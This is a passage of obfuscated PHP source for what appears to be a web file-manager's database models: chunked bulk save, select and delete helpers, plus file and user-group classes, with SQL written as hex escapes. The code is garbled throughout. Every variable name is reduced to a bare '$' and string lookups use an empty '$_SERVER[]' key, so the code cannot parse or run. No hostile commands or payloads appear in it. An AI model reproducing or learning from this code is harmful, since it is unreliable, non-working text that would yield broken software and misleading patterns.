(!in_array($, explode($[50], $[2]))) { continue; } switch (trim($[3])) { case $[367]: case $[368]: $ = $[1]; $ = isset($[4]) ? (array) $[4] : array(); if ($ == $[196] && array_key_exists($, $)) { if (!$[$]) { unset($[$]); } break; } if (isset($[$])) { array_unshift($, $[$]); } if ($[367] == $[3]) { $[$] = call_user_func_array($, $); } else { $[$] = call_user_func_array(array(&$this, $), $); } break; case $[316]: if (isset($[$]) && $[$]) { $[$] = call_user_func_array(array(&$this, $[1]), array($[$])); } break; case $[319]: $[$] = $[$[1]]; break; case $[340]: if (isset($[$]) && !is_string($[$])) { $[$] = json_encode_force($[$]); } break; case $[369]: if ($[$] === $[12]) { unset($[$]); } break; case $[370]: $[$] = $[1]; default: break; } } if ($ == $[401]) { $ = strtolower($this->db->getDbType()); if (strpos($, $[13]) !== 0) { return; } $ = $this->field(!0)->fields; $ = $[$[298]]; if (isset($[$[297]])) { unset($[$[$[297]]]); } foreach ($ as $ => $) { if (!isset($[$])) { $[$] = $[12]; } } } } private function dataAfterFilter(&$) { $ =& $_SERVER[]; foreach ($this->dataAuto as $) { $ = $[0]; if (!isset($[$])) { continue; } if (!in_array($[403], explode($[50], $[2]))) { continue; } switch (trim($[3])) { case $[367]: case $[368]: $ = isset($[4]) ? (array) $[4] : array(); array_unshift($, $[$]); if (isset($[4]) && $[4] == $[423]) { $ = array($[$]); } if ($[367] == $[3]) { $[$] = call_user_func_array($[1], $); } else { $[$] = call_user_func_array(array(&$this, $[1]), $); } break; case $[316]: if (isset($[$]) && $[$]) { $[$] = call_user_func_array(array(&$this, $[1]), array($[$])); } break; case $[319]: $[$] = $[$[1]]; break; case $[340]: $ = $[$]; $[$] = json_decode($, !0); if (is_null($[$])) { $[$] = $; } break; case $[369]: if ($[$] === $[12]) { unset($[$]); } break; case $[370]: $[$] = $[1]; break; default: break; } } } public function saveAll($) { $ =& $_SERVER[]; $ = $this->tablePrefix . $this->tableName; $ = self::SQL_WHERE_IN_CHUNK; $ = is_array($) ? $ : array(); $ = $[424]; $ = 0; $ = array(); $ = count($); for ($ = 0; $ < $; $++) { $ = $[$]; if (!is_array($) || count($) != 4) { continue; } $ = "\125\x50\104\x41\x54\x45\40\x60{$}\x60\40\x53\105\x54\40{$[2]}\40\x3d\x20\103\x41\123\x45\40{$[0]}\40\12"; if ($ == 0) { $ = $; } $[] = $[120] . $[1] . $[120]; $++; $ .= "\40\127\110\105\116\x20\x27{$[1]}\x27\x20\x54\110\105\116\x20\47{$[3]}\47\40\xa"; if ($ == $ || $ == $ - 1) { $ = implode($[50], $); $ .= "\40\105\x4e\104\x20\40\127\110\105\x52\105\x20{$[0]}\40\111\116\x20\50{$}\51\x20"; $this->execute($); $ = 0; $ = $; $this->chunkEventCheck(count($)); $ = array(); } } $this->chunkEventSet(); } public function saveAllEach($) { $ =& $_SERVER[]; $ = $this->tablePrefix . $this->tableName; foreach ($ as $) { if (!is_array($) || count($) != 4) { continue; } $ = $[0] . $[425] . $[1] . $[120]; $ = $[2] . $[425] . $[3] . $[120]; $ = "\165\160\144\x61\164\145\40{$}\x20\163\145\x74\x20{$}\x20\x77\150\145\162\x65\x20{$}\73"; $this->execute($); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($ = false, $ = false) { $this->_chunkEvent = $; $this->_chunkEventParam = $; } private function chunkEventCheck($) { if (!$this->_chunkEvent) { return; } $ = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $[$_SERVER[][426]] = $; Hook::trigger($this->_chunkEvent, $); } public function addAll($, $ = array(), $ = false) { $ =& $_SERVER[]; ignore_timeout(); $ = self::SQL_WHERE_IN_CHUNK; if (empty($)) { $this->error = think_lang($[317]); return !1; } $ = $this->_parseOptions($); foreach ($ as $ => $) { $[$] = $this->_facade($); $this->_beforeInsert($[$], $); } if (method_exists($this->db, $[318])) { for ($ = 0; $ < count($); $ += $) { $ = array_slice($, $, $); if (!is_array($) || count($) == 0) { break; } $ = $this->db->insertAll($, $, $); $this->chunkEventCheck(count($)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($ as $ => $) { $ = $this->db->insert($, $, $); } $this->commit(); } if (!1 !== $) { $ = $this->getLastInsID(); if ($) { return $; } } return $; } public function save($ = '', $ = array()) { $ =& $_SERVER[]; $ = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ = $this->findWhereField($); if (!$) { return parent::save($, $); } $ = 0; $ = $[$[321]][$][1]; $ = is_array($) ? $ : array(); $ = count($); for ($ = 0; $ < $; $ += $) { $ = array_slice($, $, $); if (!is_array($) || count($) == 0) { break; } $[$[321]][$][1] = $; $this->optionsValue($); $ += parent::save($, $); $this->chunkEventCheck(count($)); } $this->chunkEventSet(); return $; } public function add($ = '', $ = array(), $ = false) { if ($this->addTaskStatus && is_array($)) { $this->addTaskData[] = $; return; } return parent::add($, $, $); } public function parseWhereLike($, $ = '', $ = false, &$ = false) { $ =& $_SERVER[]; $ = $GLOBALS[$[6]][$[427]]; if (!$[$[428]]) { return $; } if (!is_array($)) { return $; } $ = array(); $ = 0; foreach ($ as $ => $) { if (is_array($) && count($) == 2 && $[0] == $[429] && is_string($[1]) && substr($[1], 0, 1) == $[430] && substr($[1], strlen($[1]) - 1, 1) == $[430]) { $ = !0; $ = is_string($) ? $ : $; $ = substr($[1], 1, strlen($[1]) - 2); $ = $this->db->escapeString($); if (!strpos($, $[10])) { $ = $[431] . $ . $[431]; } $ = $[205] . $ . $[205]; $ = str_replace(array($[10], $[432], $[11]), $[433], $); if ($[$[434]]) { $ = $[435] . $ . $[436]; if ($[$[437]]) { $ = $[436] . $ . $[435]; } } $[$] = $[438] . $ . $[439] . $ . $[440]; $++; continue; } if (is_array($)) { $ = is_string($) ? $ : $; $ = $this->parseWhereLike($, $, !0, $); } if (is_numeric($)) { $[$] = $; $++; } else { $[$] = $; } } if ($ && !$) { } return $; } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($ = array()) { $ =& $_SERVER[]; $ = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ = $this->findWhereField($); if (!$ || isset($[$[338]]) || isset($[$[399]])) { return parent::select($); } $ = $[$[321]][$][1]; $ = is_array($) ? $ : array(); $ = null; for ($ = 0; $ < count($); $ += $) { $ = array_slice($, $, $); if (!is_array($) || count($) == 0) { break; } $[$[321]][$][1] = $; $this->optionsValue($); $ = parent::select($); if (!$) { continue; } $ = is_array($) ? $ : array(); $ = array_merge($, $); } return $; } public function delete($ = array()) { $ =& $_SERVER[]; $ = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ = $this->findWhereField($); if (!$) { return parent::delete($); } $ = 0; $ = $[$[321]][$][1]; $ = is_array($) ? $ : array(); for ($ = 0; $ < count($); $ += $) { $ = array_slice($, $, $); if (!is_array($) || count($) == 0) { break; } $[$[321]][$][1] = $; $this->optionsValue($); $ += parent::delete($); } return $; } private function findWhereField($) { $ =& $_SERVER[]; $ = self::SQL_WHERE_IN_CHUNK; if (!is_array($) || !is_array($[$[321]])) { return !1; } foreach ($[$[321]] as $ => $) { if (is_array($) && isset($[0]) && is_string($[0]) && strtolower($[0]) == $[7] && is_array($[1]) && count($[1]) > $) { ignore_timeout(); return $; } } return !1; } public function setMasterDB($ = true) { think_config($_SERVER[][441], $); } } class ModelBaseLight { public $optionType = ''; public $modelType = "\123\x79\163\x74\145\x6d\x4f\x70\164\151\157\156"; public $field = array(); public function listData($ = false, $ = "\x6d\x6f\144\x69\x66\171\124\x69\x6d\145", $ = false) { $ = Model($this->modelType)->get(!1, $this->optionType, !0); $ = array_values($); if ($ && $[0] && !is_array($[0])) { Model($this->modelType)->cacheRemove($this->optionType); $ = Model($this->modelType)->get(!1, $this->optionType, !0); } if (!$) { return $ ? null : array(); } if (!$) { $ = array_filter(array_values($)); return array_sort_by($, $, $); } return $[$_SERVER[][442] . $]; } public function insert($) { $ =& $_SERVER[]; $ = array_field_key($, $this->field); $ = Model($this->modelType)->get($[443], $this->optionType . $[444]); $ = $ ? $ : 0; $[$[445]] = ++$; $[$[217]] = time(); $[$[87]] = time(); Model($this->modelType)->set($[443], $, $this->optionType . $[444]); Model($this->modelType)->set($[442] . $, $, $this->optionType); return $; } public function update($, $) { $ =& $_SERVER[]; $ = array_field_key($, $this->field); $ = $this->listData($); if (!$ || !$) { return !1; } $ = array_merge($, $); $[$[87]] = time(); return Model($this->modelType)->set($[442] . $, $, $this->optionType); } public function remove($) { if (!$) { return !1; } return Model($this->modelType)->remove($_SERVER[][442] . $, $this->optionType); } public function clear() { $ =& $_SERVER[]; Model($this->modelType)->remove($[443], $this->optionType . $[444]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($, $) { if (!$) { return !1; } $ = $this->listData(); $ = array_to_keyvalue($, $); return isset($[$]) ? $[$] : !1; } public function findByName($) { return $this->findByKey($_SERVER[][32], $); } protected function resetData($) { $ =& $_SERVER[]; $ = is_array($) ? $ : array(); $ = array(); for ($ = 0; $ < count($); $++) { $[$[442] . $[$][$[445]]] = $[$]; } return Model($this->modelType)->set($, !1, $this->optionType); } private function getAutoName($) { $ = array_to_keyvalue($this->listData(), $_SERVER[][32]); if (!$ || !isset($[$])) { return $; } for ($ = 1; $ < count($); $++) { $ = $ . "\x28{$}\51"; if (!isset($[$])) { return $; } } return $; } } goto F; D: class FileModel extends ModelBase { protected $tableName = "\151\157\x5f\146\x69\154\x65"; protected $tableMeta = array("\x74\141\x62\154\x65\116\141\155\x65" => "\151\x6f\x5f\146\x69\x6c\x65\x5f\155\x65\x74\x61", "\155\145\x74\x61\106\151\145\x6c\x64" => "\146\151\x6c\x65\x49\x44"); public function fileInfo($) { $ =& $_SERVER[]; static $ = array(); if (!isset($[$])) { $ = $[1953]; $ = Model($[514])->field($)->where(array($[512] => $))->find(); $[$] = $; } return $[$]; } public function addFileByContent($ = '', $ = '') { $ =& $_SERVER[]; $ = TEMP_PATH . $[1954]; if (!is_dir($)) { mk_dir($); } $ = $ . $[1955] . rand_string(16); file_put_contents($, $); $ = $this->addFile($, $, !0); if (file_exists($)) { @unlink($); } return $; } public function createFileName($, $ = false, $ = false) { $ =& $_SERVER[]; $ = IO::init($[8]); $ = $this->makeFilePath($, $, $, $); $ = $->pathFather($); static $ = false; $ = $[1956] . md5($); if (!$ && !Cache::get($)) { $ = !0; $ = IO::mkdir($); if (!IO::exist($ . $[842])) { IO::mkfile($ . $[842]); } Cache::set($, 1, 3600 * 2); } return $; } public function makeFilePath($, $, $ = false, $ = false) { $ =& $_SERVER[]; $ = Model($[815])->get($[1957]); $ = KodIO::defaultIO() . date($[1958]); $ = $ . rand_string(5) . short_id(100); $ = str_replace($[8], $[11], KodIO::clear($)); $ = $->ext($); if (!$) { $ = $[1959]; } switch ($) { case $[1960]: $ = $ . $[10] . $->ext($); if ($ == $[1897]) { $ .= $[1257]; } break; case $[1961]: $ = Model($[815])->get($[816]); $ = substr(md5($[817] . $ . date($[793])), 0, 8); $ = KodIO::defaultDriver(); $ = $[1288] . $[$[445]] . $[454] . date($[1962]) . $ . $[8]; if ($ == $[1897]) { $ .= $[1257]; } $ = $[1963] . $ . $; CacheLock::lock($); $ = $ . $; if (IO::exist($ . $)) { $ = substr($, 0, strlen($) - strlen($)); $ = $ ? substr($, 0, 5) : ($ ? substr($, 0, 5) : rand_string(5)); $ = $ . $ . $ . $[10] . $; } if (IO::isTypeObject($) && !IO::isUploadServer($)) { if (IO::exist($)) { return $; } $ = IO::setContent($, $[12]); if (!$) { show_json($[1964], !1); } } CacheLock::unlock($); break; case $[1959]: break; default: break; } return $; } public function addFileByRemote($, $, $ = array()) { $ =& $_SERVER[]; if (!IO::exist($)) { return !1; } $ = $[$[517]] ? $[$[517]] : $[12]; $ = IO::hashMd5($, $); $ = KodIO::defaultDriver(); $ = array($[587] => IO::size($), $[1965] => 1, $[464] => $, $[853] => $[$[445]], $[465] => $, $[1966] => $[$[642]] ? $[$[642]] : IO::hashSimple($), $[1967] => $ ? $ : $); if ($ = $this->addFileCheckExist($[$[642]], $[$[517]], $[$[78]])) { return $; } return $this->addFileData($); } private function addFileData($) { $ =& $_SERVER[]; if (!$) { return !1; } $[$[78]] = intval($[$[78]]); if (!$[$[78]] && strlen($[$[642]]) > 32) { $[$[78]] = intval(substr($[$[642]], 32)); } $ = $this->add($); return $this->find($); } public function addFile($, $, $ = false) { $ =& $_SERVER[]; $ = IO::hashSimple($); $ = IO::size($); $ = $ <= 1024 * 1024 * 10 ? IO::hashMd5($) : $[12]; $ = $[1968] . $; CacheLock::lock($); if ($ && $) { $ = $this->addFileCheckExist($, $, $); if ($) { CacheLock::unlock($); return $; } } $ = $this->addFileMake($, $, $, $, $, $); $ = $this->addFileData($); CacheLock::unlock($); if (!$ && $) { $this->fileMd5Check($); } return $; } public function fileMd5Check($) { $ =& $_SERVER[]; $ = array($[$[511]], $[$[86]]); $ = $[1969] . $[$[86]]; $ = $[1970] . $[$[511]]; TaskQueue::add($[1971], $, $, $); } public function fileMd5Set($, $) { $ =& $_SERVER[]; $ = $this->find($); if (!$ || $[$[517]]) { return; } $ = IO::hashMd5($); if (!$) { return $[12]; } $this->where(array($[511] => $))->save(array($[517] => $)); } public function addFileMake($, $, $, $, $, $) { $ =& $_SERVER[]; $ = $this->createFileName($, $, $); $ = get_path_father($); $ = get_path_this($); if ($) { $ = IO::move($, $, !1, $); } else { $ = IO::copy($, $, !1, $); } if (!$) { return !1; } $ = KodIO::defaultDriver(); $ = array($[587] => $, $[1965] => 1, $[464] => $, $[853] => $[$[445]], $[465] => $, $[1966] => $, $[1967] => $); return $; } public function addFileCheckExist($, $, $) { $ =& $_SERVER[]; $ = $this->findByHash($, $); if (!$) { return !1; } $ = array($[1965] => intval($[$[1972]]) + 1, $[587] => $); $this->where(array($[512] => $[$[511]]))->save($); return $; } public function remove($) { $this->linkCountChange($, !1); $this->clearEmpty(); return !0; } public function linkAdd($) { $this->linkCountChange($, !0); } public function linkCountChange($, $) { $ =& $_SERVER[]; if (!$) { return; } if (!is_array($)) { $ = array($); } $ = array(); foreach ($ as $) { $ = $ . $[12]; if (!$[$]) { $[$] = 0; } $[$]++; } $ = array(); foreach ($ as $ => $) { $ = $ . $[12]; if (!$[$]) { $[$] = array(); } $[$][] = $; } foreach ($ as $ => $) { if (!$) { continue; } $ = $ ? $ : -intval($); $ = array($[511] => array($[7], $)); if ($ < 0) { $[$[1972]] = array($[1066], abs($)); } $this->where($)->setAdd($[1972], $); } } public function findByHash($, $ = false) { $ =& $_SERVER[]; if (!$ && !$) { return !1; } $ = array($[1966] => $); if ($) { $ = array($[1967] => $); } return $this->order($[1973])->where($)->find(); } public function clearEmpty($ = 0) { $ =& $_SERVER[]; $ = time() - 3600 * 24 * $; $ = $[1974] . $; $ = $this->where($)->select(); if (!$) { return; } $ = new Task($[1975], $[12], count($)); foreach ($ as $) { $->update(1); $this->resetFile($); } $->end(); } public function resetFile($) { $ =& $_SERVER[]; $ = array($[512] => $[$[511]]); $ = Model($[1384])->where($)->count(); $ = Model($[1976])->where($)->count(); $ = intval($) + intval($); if ($ == 0) { IO::remove($[$[86]]); Model($[1977])->delete($[$[511]]); $this->where($)->delete(); $this->metaSet($[$[511]], null, null); return; } if ($[$[1972]] != $) { $this->where($)->save(array($[1965] => $)); } } public function storageInfo($ = false) { $ =& $_SERVER[]; $ = $this->count() + 0.0; $ = 0; $ = 1; $ = 0; $ = 5000; for ($ = 0; $ < $; $ = $ + $) { $ = $this->limit($, $ + $)->select(); foreach ($ as $) { $ += $[$[78]] * $[$[1972]]; $ += $[$[78]] * ($[$[1972]] - 1); $ += $[$[1972]]; } } $ = array($[1978] => $, $[1979] => $, $[1980] => $ / $, $[82] => $, $[1981] => $); return $; } } class GroupModel extends ModelBase { protected $tableName = "\147\x72\x6f\165\x70"; protected $tableMeta = array("\x74\141\142\x6c\x65\116\141\155\145" => "\147\x72\157\165\x70\x5f\155\145\x74\141", "\x6d\x65\x74\x61\106\151\x65\154\x64" => "\147\x72\157\165\x70\x49\104"); protected function cacheFunctionAlias($) { $ =& $_SERVER[]; return array($[1982] => array($[0], $[1983]), $[1984] => array($[0], $[1985])); } protected function getInfo($, $ = false) { $ = $this->getInfoSimple($); if (!$) { return !1; } if ($) { return $this->_listDataApplyItem($); } return $this->cacheFunctionGet($_SERVER[][1986], $); } protected function getInfoSimple($, $ = false) { $ =& $_SERVER[]; if ($) { $ = array($[1904] => intval($)); $ = $this->where($)->find(); return is_array($) ? $ : array(); } return $this->cacheFunctionGet($[1987], $); } protected function groupAdd($) { $ =& $_SERVER[]; if (!$[$[182]] && isset($[$[1904]]) && $[$[1904]] == 1) { if ($ = $this->getInfoSimple($[$[1904]], !0)) { return $[$[1904]]; } } else { $ = $this->getInfoSimple($[$[182]]); if (!$) { return !1; } } $ = $[565]; if ($[$[555]]) { $ = $[$[555]] . $[$[1904]] . $[50]; } $ = array($[464] => $this->groupNameAuto($[$[182]], $[$[32]]), $[447] => $[$[182]], $[622] => $, $[1988] => $[$[1891]], $[1989] => 0, $[1908] => 0); if (isset($[$[1928]])) { $[$[1928]] = $[$[1928]]; } else { $ = $this->max($[1928]); if (!$) { $ = 0; } $[$[1928]] = $ + 1; } if (!empty($[$[1904]])) { $[$[1904]] = $[$[1904]]; } $ = $this->add($); $this->setNamePinyin($, $[$[32]]); if (isset($[$[1990]])) { $this->metaSet($, array($[1990] => $[$[1990]], $[1991] => $[$[1991]])); unset($[$[1990]]); unset($[$[1991]]); } Model($[1384])->groupRootAdd($); $this->_clearCache($[$[182]]); return $; } protected function groupEdit($, $) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$) { return !1; } if (!empty($[$[182]])) { $ = $this->getInfoSimple($[$[182]]); if (!$) { return !1; } if ($[$[1904]] == $[$[1904]]) { return !1; } if ($[$[182]] != $[$[182]]) { if ($[$[555]] !== $[$[555]] && strpos($[$[555]], $[$[555]] . $[$[1904]] . $[50]) === 0) { return !1; } $[$[622]] = $[$[555]] . $[$[182]] . $[50]; $this->_changeChildLevel($, $); $this->_clearCache($[$[1904]]); $this->_clearCache($[$[182]]); } } if (isset($[$[32]])) { $this->setNamePinyin($, $[$[32]]); } if (isset($[$[1990]])) { $this->metaSet($, array($[1990] => $[$[1990]], $[1991] => $[$[1991]])); unset($[$[1990]]); unset($[$[1991]]); } $this->_clearChildrenCache($); return $this->where(array($[1992] => $))->save($); } private function _clearChildrenCache($) { $ =& $_SERVER[]; $ = array($[622] => array($[582], $[$[555]] . $[$[1904]] . $[583])); $ = $this->field($[1904])->where($)->select(); foreach ($ as $) { $this->_clearCache($[$[1904]]); } } private function _clearCache($) { $ =& $_SERVER[]; $this->cacheFunctionClear($[1986], $); $this->cacheFunctionClear($[1987], $); } private function _changeChildLevel($, $, $ = false) { $ =& $_SERVER[]; $ = $[$[555]] . $[$[1904]] . $[50]; $ = $[$[555]] . $[$[1904]] . $[50] . $[$[1904]] . $[50]; if ($) { $ = $[$[555]] . $[$[1904]] . $[50]; } $ = array($[622] => array($[582], $[$[555]] . $[$[1904]] . $[583])); $ = array($[622] => array($[631], "\162\x65\160\154\141\143\x65\x28\160\141\x72\145\x6e\x74\114\x65\x76\x65\x6c\x2c\47{$}\x27\54\47{$}\x27\51")); $this->_clearChildrenCache($); $this->where($)->data($)->save(); } public function setNamePinyin($, $ = false) { $ =& $_SERVER[]; if (!$) { $ = $this->getInfoSimple($); $ = $[$[32]]; } if (!Input::check($, $[625])) { $this->metaSet($, $[508], null); $this->metaSet($, $[507], null); return; } $ = array($[508] => str_replace($[53], $[12], Pinyin::get($)), $[507] => Pinyin::get($, $[626])); $this->metaSet($, $); } protected function groupStatus($, $) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$) { return !1; } $this->_clearCache($); return $this->metaSet($, $[795], $); if ($ == $[90]) { $ = $this->parentLevelArray($[$[555]]); } else { } $[] = $[$[1904]]; $ = array(); foreach ($ as $) { $[] = array($[1904] => $, $[96] => $[795], $[420] => $); $this->_clearCache($); } return Model($[1993])->addAll($, array(), !0); } protected function groupRemove($, $ = false) { $ =& $_SERVER[]; $ = array($[1904] => $); $ = $this->where($)->find(); if (!$ || $[$[182]] == 0) { return !1; } if (!$) { $ = $this->getInfoSimple($[$[182]]); $this->_changeChildLevel($, $, !0); $this->where(array($[182] => $))->save(array($[182] => $[$[182]])); $this->_clearCache($[$[1904]]); } Model($[1993])->where($)->delete(); Model($[1994])->where($)->delete(); Model($[870])->groupRootRemove($); $this->_clearCache($[$[182]]); return $this->where($)->delete(); } protected function groupSort($) { $ =& $_SERVER[]; $ = array(); foreach ($ as $ => $) { $[] = array($[1904], $, $[1928], $ + 1); } $this->saveAll($); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[][415]]); return $; } private function _makeOrder($ = '') { $ =& $_SERVER[]; $ = array($[1904], $[32], $[1893], $[217]); $ = array($[493] => $[494], $[495] => $[496]); $ = Input::get($[500], $[7], $[1908], $); $ = Input::get($[501], $[7], $[1995], array($[1995], $[495])); $ = $[$]; $ = $ . "{$}\x20{$}\54\x20\147\x72\157\165\160\111\x44\40\x61\x73\143"; return $this->order($); } public function listChild($) { $ =& $_SERVER[]; $ = $this->where(array($[182] => $))->_makeOrder()->selectPage(200); $this->_listDataApply($[$[415]]); return $; } public function listChildIds($) { $ =& $_SERVER[]; if (is_string($)) { $ = explode($[50], $); } $ = $this->where(array($[1904] => array($[7], $)))->field($[1996])->select(); if (!$) { return !1; } $ = array(); foreach ($ as $) { $[] = "\x73\x65\154\145\143\x74\x20\147\x72\x6f\x75\160\x49\x44\x20\146\162\157\x6d\40\140\x67\x72\157\165\160\140\40\167\150\x65\162\145\40\160\141\x72\x65\156\x74\x4c\x65\166\x65\x6c\x20\x6c\x69\153\x65\40\47{$[$[555]]}{$[$[1904]]}\x2c\45\47"; } $ = implode($[1997], $); $ = $this->query($); if (!$) { return array(); } $ = array_to_keyvalue($, $[12], $[1904]); return array_unique($); } public function listByID($) { $ =& $_SERVER[]; if (!$) { return array(); } $ = array($[1904] => array($[7], $)); $ = $this->where($)->select(); $ = array_sort_keep($, $[1904], $); $this->_listDataApply($); return $; } public function listSearch($) { $ =& $_SERVER[]; $ = $[$[1998]]; $ = isset($[$[1999]]) ? $[$[1999]] : !1; if (!trim($)) { return !1; } $ = str_replace($[2000], $[2001], $); $ = array($[1904] => array($[429], "{$}\x25"), $[32] => array($[429], "\45{$}\45"), $[1051] => $[2002]); if ($) { $ = $this->getInfoSimple($); $ = $[$[555]] . $ . $[583]; $ = array($, array($[555] => array($[429], $))); } $ = $this->parseWhereLike($); $ = $this->_makeOrder()->where($)->selectPage(20); $ = $ ? $ : array($[415] => array(), $[412] => array()); if (!$ || count($[$[415]]) < 5 && Input::check($, $[364])) { $ = $this->groupChildrenAll($); $ = $this->_searchFromMeta($[507], $, 10, $); $ = $this->_searchFromMeta($[508], $, 10, $); $ = array_merge($, $, $[$[415]]); $[$[415]] = array_unique_by_key($, $[1904]); $[$[412]][$[413]] = count($[$[415]]); $[$[412]][$[414]] = ceil($[$[412]][$[413]] / $[$[412]][$[409]]); } $this->_listDataApply($[$[415]]); return $; } protected function groupChildrenAll($) { $ =& $_SERVER[]; if (!$) { return !1; } if (!is_array($)) { $ = array($); } $ = $; foreach ($ as $) { $ = $this->getInfoSimple($); $ = array($[555] => array($[429], $[$[555]] . $ . $[583])); $ = $this->field($[1904])->where($)->select(); $ = array_merge($, array_to_keyvalue($, $[12], $[1904])); } return array_unique($); } private function _searchFromMeta($, $, $, $) { $ =& $_SERVER[]; $ = strtolower($); $ = array($[96] => $, $[420] => array($[429], "\x25{$}\x25")); $ = $this->parseWhereLike($); if ($) { $[$[1904]] = array($[7], $); } $ = Model($[2003])->where($)->limit($)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $[12], $[1904]); $ = $this->where(array($[1992] => array($[7], $)))->select(); if (!$) { return array(); } return $; } protected function _listDataApplyItem($) { $ = array($); $this->_listDataApply($); return $[0]; } protected function _listDataApply(&$) { $ =& $_SERVER[]; if (!$) { return; } $ = array_to_keyvalue($, $[12], $[1904]); $this->_listAppendChildren($); $this->_listAppendChildrenMember($); $this->_listAppendMeta($, $); $this->_listAppendParent($); $this->_listAppendSourceRoot($, $); } private function _listAppendChildren(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[1904]); $ = array($[182] => array($[7], $)); $ = array($[182], $[2004] => $[536]); $ = $this->field($)->where($)->group($[182])->select(); $ = array_to_keyvalue($, $[182], $[536]); foreach ($ as &$) { $ = $[$[1904]]; $[$[2005]] = isset($[$]) ? intval($[$]) : !1; } unset($); } private function _listAppendChildrenMember(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[1904]); $ = array($[1904] => array($[7], $)); $ = array($[1904], $[2004] => $[536]); $ = Model($[1994])->field($)->where($)->group($[1904])->select(); $ = array_to_keyvalue($, $[1904], $[536]); foreach ($ as &$) { $ = $[$[1904]]; $[$[2006]] = isset($[$]) ? intval($[$]) : !1; } unset($); } private function _listAppendMeta(&$, $) { $ =& $_SERVER[]; $ = array($[1904] => array($[7], $)); $ = Model($[1993])->where($)->select(); $ = array_to_keyvalue_group($, $[1904]); foreach ($ as &$) { $ = array_to_keyvalue($, $[96], $[420]); } unset($); foreach ($ as &$) { $[$[509]] = array(); if (isset($[$[$[1904]]])) { $[$[509]] = $[$[$[1904]]]; } } unset($); } protected function parentLevelArray($) { $ =& $_SERVER[]; $ = explode($[50], trim($, $[50])); $ = array_remove_value($, $[214]); return $; } protected function parentInGroup($, $) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$) { return !0; } $ = $this->parentLevelArray($[$[555]]); $[] = $; foreach ($ as $) { if (in_array($ . $[12], $)) { return !0; } } return !1; } private function _listAppendParent(&$) { $ =& $_SERVER[]; $ = array(); foreach ($ as &$) { $[$[$[1904]]] = $[$[32]]; $ = $this->parentLevelArray($[$[555]]); foreach ($ as $) { if (!isset($[$])) { $[$] = 0; } } } unset($); foreach ($ as $ => $) { if ($) { continue; } $ = $this->getInfoSimple($); $[$] = $[$[32]]; } $ = $GLOBALS[$[6]][$[91]][$[2007]]; if (KodUser::isRoot()) { $ = !1; } foreach ($ as &$) { $ = $this->parentLevelArray($[$[555]]); $ = $[12]; foreach ($ as $ => $) { if ($ && $ == 0) { continue; } $ .= $[$] . $[8]; } if ($) { $ .= $[$[32]]; } $[$[560]] = str_replace($[563], $[8], $); } unset($); } private function _listAppendSourceRoot(&$, $) { $ =& $_SERVER[]; $ = Model($[870])->listSourceRoot(SourceModel::TYPE_GROUP, $); $ = array_to_keyvalue($, $[540]); $ = array_remove_key($, $[540]); foreach ($ as &$) { $[$[89]] = $[$[$[1904]]] ? $[$[$[1904]]] : array(); } unset($); } protected function groupMerge($) { $ = array_values(array_unique($)); $ = array(); for ($ = 0; $ < count($); $++) { $ = !1; for ($ = 0; $ < count($); $++) { if ($ == $) { continue; } if ($this->isParentOf($[$], $[$])) { $ = !0; break; } } if (!$) { $[] = $[$]; } } return $; } protected function isParentOf($, $) { $ =& $_SERVER[]; if (!$ || !$ || $ == $) { return !1; } $ = $this->getInfoSimple($); $ = $this->getInfoSimple($); $ = $[$[555]] . $ . $[50]; if (substr($[$[555]], 0, strlen($)) == $) { return !0; } return !1; } public function groupShowRoot($, $ = false) { $ =& $_SERVER[]; $ = $this->getInfo($); if (!$) { return array(); } $ = $this->parentLevelArray($[$[555]]); $ = array($); if (count($) == 0) { return $; } if ($ && count($) == 1) { return $; } if (!$[$[509]] || !isset($[$[509]][$[1990]]) || $[$[509]][$[1990]] == $[1959]) { return $this->groupShowRoot($[count($) - 1], $); } if ($[$[509]][$[1990]] == $[403]) { $ = explode($[50], $[$[509]][$[1991]]); if ($) { $ = array_merge($, $); } } return $; } protected function resetParentLevel() { $ =& $_SERVER[]; $ = $[1904]; $ = $this->select(); $ = array_to_keyvalue($, $); foreach ($ as $) { $ = $; $ = array(); while ($[$[182]] != 0) { $[] = $[$[182]]; $ = $[$[$[182]]]; } $[] = 0; $ = $[50] . implode($[50], array_reverse($)) . $[50]; $this->setNamePinyin($[$], $[$[32]]); $this->where(array($ => $[$]))->save(array($[622] => $)); } return $; } public function groupNameAuto($, $) { $ =& $_SERVER[]; $ = $this->where(array($[447] => $))->getField($[32], !0); if (!$ || !in_array($, $)) { return $; } for ($ = 1; $ <= count($) + 1; $++) { $ = $ . "\x28{$}\x29"; if (!in_array($, $)) { return $; } } } public function groupSwitch($, $) { $ =& $_SERVER[]; $ = array($[1904] => array($[7], array($, $))); $ = $this->where($)->select(); $ = array_to_keyvalue($, $[1904]); if (!isset($[$]) || !isset($[$]) || $[$][$[182]] == 0) { return !1; } $ = array($[1904] => $); $ = Model($[1994])->where($)->select(); if (!$) { $ = array(); } foreach ($ as $) { $ = $[$[1705]]; $ = array($[1705] => $, $[1904] => $); $ = Model($[1994])->where($)->find(); if (!$) { $ = array($ => $[$[2008]]); Model($[569])->userGroupAdd($, $); } Model($[569])->userGroupRemove($, $); } $ = array($[180] => 2, $[182] => 0, $[455] => 1, $[540] => array($[7], array($, $))); $ = Model($[870])->where($)->field($[2009])->select(); $ = array_to_keyvalue($, $[540], $[183]); $ = !empty($[$]) ? $[$] : !1; if ($) { if (!$[$]) { $[$] = Model($[870])->groupRootAdd($); } $ = $[$]; 